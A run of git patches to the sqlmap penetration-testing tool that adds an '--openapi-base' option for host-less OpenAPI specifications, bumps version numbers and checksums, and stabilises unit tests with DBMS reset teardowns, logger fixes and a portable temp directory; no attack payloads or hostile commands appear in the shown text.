c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -1a67c8e0c46fb1244535d3961c35300da4aecd1872fd1fe2e3a752a5643875ed lib/parse/cmdline.py +fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py diff --git a/lib/core/option.py b/lib/core/option.py index 8fd9c491d49..f828e4cf916 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -502,14 +502,17 @@ def _setOpenApiTargets(): warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" logger.warning(warnMsg) - origin = None + # origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base' + # (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself. + origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None if re.match(r"(?i)\Ahttps?://", conf.openApiFile): infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile logger.info(infoMsg) from lib.request.connect import Connect as Request content = Request.getPage(url=conf.openApiFile, raise404=True)[0] - match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) - origin = match.group(1) if match else None + if not origin: + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None else: conf.openApiFile = safeExpandUser(conf.openApiFile) checkFile(conf.openApiFile) @@ -549,6 +552,8 @@ def _setOpenApiTargets(): logger.warning(warnMsg) else: warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + if not conf.openApiBase: + warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)" logger.warning(warnMsg) def _findPageForms(): diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index d449259df3c..8ead4860487 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -20,6 +20,7 @@ "googleDork": "string", "configFile": "string", "openApiFile": "string", + "openApiBase": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 50535bacb58..042d958d390 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.17" +VERSION = "1.10.7.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e8ddc2d4fc7..9081fe27d69 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -145,7 +145,10 @@ def cmdLineParser(argv=None): help="Load options from a configuration INI file") target.add_argument("--openapi", dest="openApiFile", - help="Derive targets from an OpenAPI/Swagger specification (file or URL)") + help="Derive targets from OpenAPI/Swagger (file/URL)") + + target.add_argument("--openapi-base", dest="openApiBase", + help="Base URL for a host-less OpenAPI/Swagger spec") # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") From 732d16453819e532a993fb1e70c67bf74e332afc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:02:57 +0200 Subject: [PATCH 676/853] Fixing CI/CD errors --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_library.py | 6 ++++++ 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4b922ab0aad..0c28db3ddd8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3871d1b0d2ec82e2b0ed4705199519a473f92dbbf0db911e96ca613774961021 lib/core/settings.py +efadf8b3de6c132219b026eb80fa61756787df0753fa00aff420f60c92b17a52 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -628,7 +628,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py -4952caf2cc825b5ed96a032e0a88e6919b7556e736bd8e30a558f6c4f82c014a tests/test_library.py +571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 042d958d390..2caa6659318 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.18" +VERSION = "1.10.7.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_library.py b/tests/test_library.py index 73b41007d91..8437238e517 100644 --- a/tests/test_library.py +++ b/tests/test_library.py @@ -114,15 +114,21 @@ class TestReportErrorCapture(unittest.TestCase): """ def test_errors_reach_the_report(self): + import logging from lib.core.data import logger from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + # represent a normal run: the shared test bootstrap silences the logger (CRITICAL+1), which would + # otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness) + saved_level = logger.level + logger.setLevel(logging.ERROR) collector = setupReportCollector() try: logger.error("boom %s", "here") result = _assembleData(collector, REPORT_TASKID) self.assertTrue(any("boom here" in _ for _ in result["error"])) finally: + logger.setLevel(saved_level) for handler in list(logger.handlers): if isinstance(handler, ReportErrorRecorder): logger.removeHandler(handler) From 71d9c6d0f4f061ee969aee6d89b3ff82c6eb69d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:31:01 +0200 Subject: [PATCH 677/853] Stabilization of unittests --- .github/workflows/tests.yml | 4 +++ data/txt/sha256sums.txt | 58 ++++++++++++++++---------------- lib/core/settings.py | 2 +- tests/_testutils.py | 16 +++++++++ tests/test_agent.py | 6 +++- tests/test_brute.py | 6 +++- tests/test_common.py | 11 ++++-- tests/test_databases_enum.py | 6 +++- tests/test_dbms_enum.py | 6 +++- tests/test_dialect.py | 6 +++- tests/test_dns_engine.py | 10 ++++-- tests/test_dump_format.py | 6 +++- tests/test_dump_jsonl.py | 6 +++- tests/test_entries.py | 6 +++- tests/test_error_engine.py | 6 +++- tests/test_filesystem.py | 6 +++- tests/test_fingerprint.py | 12 ++++++- tests/test_generic_takeover.py | 6 +++- tests/test_graphql.py | 6 ++++ tests/test_identifiers_output.py | 6 +++- tests/test_inference_engine.py | 6 +++- tests/test_misc.py | 6 +++- tests/test_parse_modules.py | 6 +++- tests/test_property.py | 6 +++- tests/test_report.py | 6 ++++ tests/test_search_enum.py | 6 +++- tests/test_target_parsing.py | 10 ++++-- tests/test_techniques.py | 6 +++- tests/test_union_engine.py | 6 +++- tests/test_users_enum.py | 6 +++- tests/test_xpath.py | 3 ++ 31 files changed, 200 insertions(+), 58 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 367bec21405..a6bedc1e686 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -17,6 +17,10 @@ jobs: runs-on: ${{ matrix.os }} timeout-minutes: 30 + env: + # deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI) + PYTHONHASHSEED: "0" + strategy: matrix: include: diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0c28db3ddd8..c654360a55e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -efadf8b3de6c132219b026eb80fa61756787df0753fa00aff420f60c92b17a52 lib/core/settings.py +de1ffd738b35e31eb95467eda8a230cc81ff4d21e48e4c02c29da09299823126 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -586,86 +586,86 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional 0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py -d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266 tests/test_agent.py +0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py 138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py -36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42 tests/test_brute.py +aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py -cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4 tests/test_common.py +d436ad4c99be71d5faadb37f63d96a498e7e2b84f257ac9c7965b2ccd999e9e9 tests/test_common.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py 75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py -2bd0faeaf7db1d73dd0caab3bde9900fdaa1f38fd736a6e238cd56ff9bc67b66 tests/test_databases_enum.py +6e3c08e1f76dd6c782d2ddc505b4e1a751b381c88ad91f79a95bf49f9c28a28f tests/test_databases_enum.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py -8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py +7cf63166206d543ff4423e1b5bda3ec3212805b0aeaf95d877117df7eb79c8ec tests/test_dbms_enum.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py 180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py -e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py +41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py +62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py -4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a tests/test_dump_format.py -9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py +3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py +118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py -fe1211ce43a51cd8ec7dd3395aafda8d7313ff60e2ef013072ce9fa49ca4a242 tests/test_entries.py -bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py -26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c tests/test_filesystem.py -16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703 tests/test_fingerprint.py -20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea tests/test_generic_takeover.py -f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_graphql.py +f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py +ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py +6f3c214128c7147307c70f0905a0d1aa8118cbbc95086c6fcadce13009fb4946 tests/test_filesystem.py +31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py +abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py +b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py 50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py 92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py 0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py -d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py -5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py +139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py +0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py 571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py -caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py -7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py +7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py 0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py -a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py +2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py 2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py -67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py +427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py 4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py -5b6ce95dddbd07d0126224f4f066643938476e536e18b700ea5d916e1052a715 tests/test_search_enum.py +575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py 29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py 412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py 8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py -67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py +b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py -0e644bb7b25c183d0d689ea7be542d7a2ce780cc68067f89afb2ee095a79f762 tests/test_techniques.py +d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py -708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py +8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py -eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5 tests/test_users_enum.py -045f05f958100adc883b3f56613c5f8002dd19d0752225397a1f771775cb2779 tests/_testutils.py +b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_users_enum.py +729b3a5e00fff2e2b6c3acd3fd3e970ac1985c0a6ad1829b23c4099bd409afa1 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py -2698060e7f001e054e345512ce95be458d9902b913afa769398b53145475738a tests/test_xpath.py +9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2caa6659318..fa05cc0edd8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.19" +VERSION = "1.10.7.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/_testutils.py b/tests/_testutils.py index 781f54749ad..a856b1ebc2d 100644 --- a/tests/_testutils.py +++ b/tests/_testutils.py @@ -98,6 +98,22 @@ def set_dbms(name): Backend.forceDbms(name) +def reset_dbms(): + """Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state. + + A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a + module that forces one without clearing it would leak that back-end into later test modules + (order-dependent flakiness). Modules that call set_dbms() should expose this as their + `tearDownModule` so the leak can never cross a module boundary. + """ + from lib.core.common import Backend + from lib.core.data import kb + from lib.core.settings import UNKNOWN_DBMS_VERSION + Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False + kb.resolutionDbms = None + kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] + + # --- property/fuzz testing harness (shared so individual test files don't each reinvent it) --- _PROPERTY_BASE = 0x51A1 diff --git a/tests/test_agent.py b/tests/test_agent.py index d49a7d76fee..203e2789691 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -34,7 +34,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -766,3 +766,7 @@ def test_splices_before_order_by(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_brute.py b/tests/test_brute.py index 3d8143b915a..c13395978d5 100644 --- a/tests/test_brute.py +++ b/tests/test_brute.py @@ -22,7 +22,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -196,3 +196,7 @@ def test_add_page_text_words_filters(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_common.py b/tests/test_common.py index 87369fe42fb..73396f0ecae 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -19,14 +19,16 @@ stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. """ +import atexit import base64 import os +import shutil import sys import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb, paths @@ -119,7 +121,8 @@ zeroDepthSearch, ) -SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) def _write_temp(content, suffix): @@ -1714,3 +1717,7 @@ def test_no_old_options_is_noop(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index 3bba88dde33..13cc6a54a7a 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -21,7 +21,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -765,3 +765,7 @@ def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py index dff6a04656b..97325506378 100644 --- a/tests/test_dbms_enum.py +++ b/tests/test_dbms_enum.py @@ -24,7 +24,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.common import Backend @@ -720,3 +720,7 @@ def test_get_current_db_default_schema(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dialect.py b/tests/test_dialect.py index 4cce55abffc..5e82127633c 100644 --- a/tests/test_dialect.py +++ b/tests/test_dialect.py @@ -20,7 +20,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -105,3 +105,7 @@ def test_position_and_count(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index 767a5019c8f..e1194142d75 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -38,7 +38,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -188,7 +188,7 @@ def oracle(payload=None, *args, **kwargs): finally: c.close() served[0] += len(chunk) - for _ in range(100): + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner with 